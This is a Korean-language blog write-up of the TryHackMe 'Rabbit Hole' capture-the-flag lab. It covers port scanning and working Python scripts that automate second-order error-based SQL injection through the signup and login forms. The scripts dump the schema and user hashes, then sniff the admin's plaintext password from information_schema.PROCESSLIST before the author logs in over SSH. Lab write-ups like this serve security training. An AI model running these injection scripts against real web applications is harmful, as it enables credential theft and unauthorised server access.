*https://tryhackme.com/r/room/rabbitholeqq
Rabbit Hole
It's easy to fall into rabbit holes.
tryhackme.com
-Second Order SQL Injection을 이용한 정보 추출
-SQL Injection을 통한 프로세스 동작 감청
-추출한 정보로 서버에 SSH 접근, 시스템 장악
1.Port Scan Enumeration - Reconnaissance&Scanning
$ sudo nmap -n -sS -sV -O -Pn -p- --min-rate=10000 rabbithole.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 21:07 KST
Warning: 10.10.75.76 giving up on port because retransmission cap hit (10).
Nmap scan report for rabbithole.thm (10.10.75.76)
Host is up (0.26s latency).
Not shown: 61852 closed tcp ports (reset), 3681 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
-22(ssh), 80(http) 총 2가지 포트가 오픈되어 있습니다.
*/etc/hosts 파일에 rabbithole.thm 도메인과 IP 주소를 대응시켜 rabbithole.thm에 접속하면 tryhackme에서 할당해준 서버 IP로 접속되도록 설정했습니다.
2.Page Ananlysis - Reconnaissance&Scanning
-메인화면의 모습입니다. 회원가입, 로그인 두 가지 기능이 존재하는 것을 확인할 수 있습니다,
-this_is_username:this_is_password 로 계정을 가입하고 로그인을 하였습니다.
-데이터는 POST 메소드를 통해 회원가입, 로그인 기능 각각 '/register.php', 'login.php'로 데이터가 전송되며 username, password, submit 3가지 파라미터를 사용, submit 파라미터의 값은 고정되어 있는 것을 확인할 수 있습니다.
-로그인 시 쿠키가 발급되며, '/' 엔드포인트에서 타임 스탬프 테이블이 출력되는 것을 볼 수 있습니다.
3.SQL Injection[Extract Infomation] - Gaining access
-해당 페이지는 double quote(")가 포함된 username으로 가입 시 SQL 에러 메시지를 출력하는 것을 볼 수 있는데, 이는 Query에 영향을 줄 수 있다는 의미이므로 SQL Injection을 시도하였습니다.
-Error based SQL Injection 구문을 통해 에러메시지로 문자열 '1'을 출력하는 것을 볼 수 있습니다.
- SQL Injection 구문 삽입(회원가입) 후 로그인하여 구문이 실행되는 Second-Order SQL Injection
- Error 구문, Union을 이용한 SQL Injection이 가능
- Error based SQL Injection은 29자 메시지 출력 제한이 있음
import requests as req
import sys
import re
url = "http://rabbithole.thm/"
sess = req.Session()
def extract_content(text):
pattern = r'<table[^>]*>.*?<thead>.*?<thead>.*?<th>.*?</th>.*?</thead>.*?<tbody>.*?</tbody>'
match = re.search(pattern, text, re.DOTALL)
return match.group(0)
def signup(un, pw):
rg_url = url + 'register.php'
data = {
"username": un,
"password": pw,
"submit": "Submit+Query"
}
rg_res = sess.post(url=rg_url,data=data)
def login(un, pw):
lg_url = url + 'login.php'
data = {
"username": un,
"password": pw,
"submit": "Submit+Query"
}
lg_res = sess.post(url=lg_url,data=data)
res = sess.get(url)
result = extract_content(res.text)
if result:
print("Finded the result: ")
print(result)
else:
print("fuck")
un = sys.argv[1]
pw = 'x'
signup(un,pw)
login(un,pw)
-자동화 스크립트는 위와 같습니다. 정보를 추출할 구문은 유동적으로 설정하기 위하여 sys.argv[1]을 이용해 실행 시 인자로 받도록 했습니다.
- 회원가입을 하는 signup 함수를 통해 SQL Injection 구문을 삽입합니다.
- login 함수를 통해 SQL Injection을 수행하며 응답 결과를 extract_content 함수에 전달합니다.
- extract_content 함수는 regex를 통해 데이터를 보기좋게 수정하고 해당 결과를 리턴 값으로 반환합니다.
- 만약 리턴 값으로 제대로 추출된 정보가 있다면 "Found the result: "와 해당 결과를 출력합니다.
-위 과정으로 얻은 정보는 아래와 같습니다.
- Database: web
- table: users
- column: id
- column: username
- column: password
- column: group
- table: logins
- column: username
- column: login_time
- table: users
-이때 " and extractvalue(0x3a, (SELECT substr(concat(username, ':', password),1,29) FROM users limit 0,1))# 구문으로 SQL Injection 진행 시 admin과 foo, bar 라는 이용자의 계정 정보를 얻을 수 있지만 admin 계정은 해시화된 비밀번호를 복원할 수 없었습니다.
-admin:0e3ab8e45ac1163c2343990e427c66ff
-foo:a51e47f646375ab6bf5dd2c42d3e6181:rabbit
-bar:de97e75e5b4604526a2afaed5f5439d7:hole
4.admin - Gaining Access
-logins 테이블의 username, login_time 컬럼을 조회해보면 실제 페이지에서 로그인 후 타임 스탬프를 출력해주는 페이지와 같은 결과가 출력되는데 이는 admin 이용자가 1분마다 로그인하고 있다는 것을 알 수 있습니다.
-다른 부분들을 살펴보았을 때 취약점을 발견하지 못하여 생각해본 시나리오는 MD5 해시화를 php 서버 단이 아닌, mysql md5 함수를 통해 적용한다고 가정해 Query에 비밀번호 원문이 있다는 시나리오였습니다.
import requests as req
import sys
from bs4 import BeautifulSoup
import re
url = "http://rabbithole.thm/"
pw = 'x'
cnt = 1
while(1):
un = f'\" and extractvalue(1,concat(0x3a,(select substr(INFO,{cnt},29) from information_schema.PROCESSLIST WHERE INFO IS NOT NULL and ID != CONNECTION_ID() limit 0,1)))#'
sess = req.session()
rg_url = url + 'register.php'
lg_url = url + 'login.php'
data = {
"username": un,
"password": pw,
"submit": "Submit Query"
}
sess.post(url=rg_url,data=data)
sess.post(url=lg_url,data=data)
res = sess.get(url)
sp = BeautifulSoup(res.text, "html.parser")
match = sp.find_all("table", class_="u-full-width")
output = match[1].find("tbody").get_text()
pattern = r'\':[\s\S]+\''
r1 = re.findall(pattern, output)
#return (r1[0])[2:-1]
if r1:
print(r1[0][2:-1],flush=True,end="")
if(len(r1[0])<29):
break
else:
cnt += 29
else:
continue
-29자 제한을 해결하기 위해 cnt 변수에 턴마다 전에 추출했던 데이터의 길이인 29씩 더하고 substr을 통해 다음 추출할 데이터의 위치를 추출했던 데이터의 위치 + 29로 하였고, information_schema.PROCESSLIST를 통해 실행중인 쿼리를 추출, WHERE 절의 제한사항으로 SQL Injection 구문의 Query는 조회되지 않도록 하였습니다.
-admin 이용자가 로그인하는 것은 1분마다 아주 잠깐입니다. 따라서 해당 스크립트가 실행되는 시간과 admin 이용자 로그인 시간이 맞아야 information_schema.PROCESSSLIST의 INFO 컬럼으로 조회할 수 있습니다. 실제로 스크립트를 실행해보면 1분마다 나오는 것이 아닌 2-3분에 하나씩 출력되는 것을 확인할 수 있습니다.
$ python3 pp.py
SELECT * from users where (username= 'admin' and password=md5('censored_password_value') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
-스크립트 실행 결과는 위와 같으며 시나리오대로 md5 함수를 mysql 에서 직접 실행하고 있었다는 것을 알 수 있었습니다.
Flag
flag.txt
-admin의 password로 ssh 접근 시 shell을 얻을 수 있으며 해당 디렉터리 아래에 존재하는 flag.txt 파일을 읽어 플래그를 획득할 수 있습니다.
$ ssh admin@rabbithole.thm
admin@rabbithole.thm's password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@ubuntu-jammy:~$ ls
flag.txt
admin@ubuntu-jammy:~$ cat flag.txt
THM{this_-------------------------------------48}
'write-up > web' 카테고리의 다른 글
[wargame - pen]bookstore (0) | 2024.12.15 |
---|---|
[wargame - web]Not-only (0) | 2024.12.09 |
[web] authorization wargame (0) | 2024.08.01 |
[web]Get Flag File 2 (0) | 2024.07.26 |
[web]Get Flag File (0) | 2024.07.26 |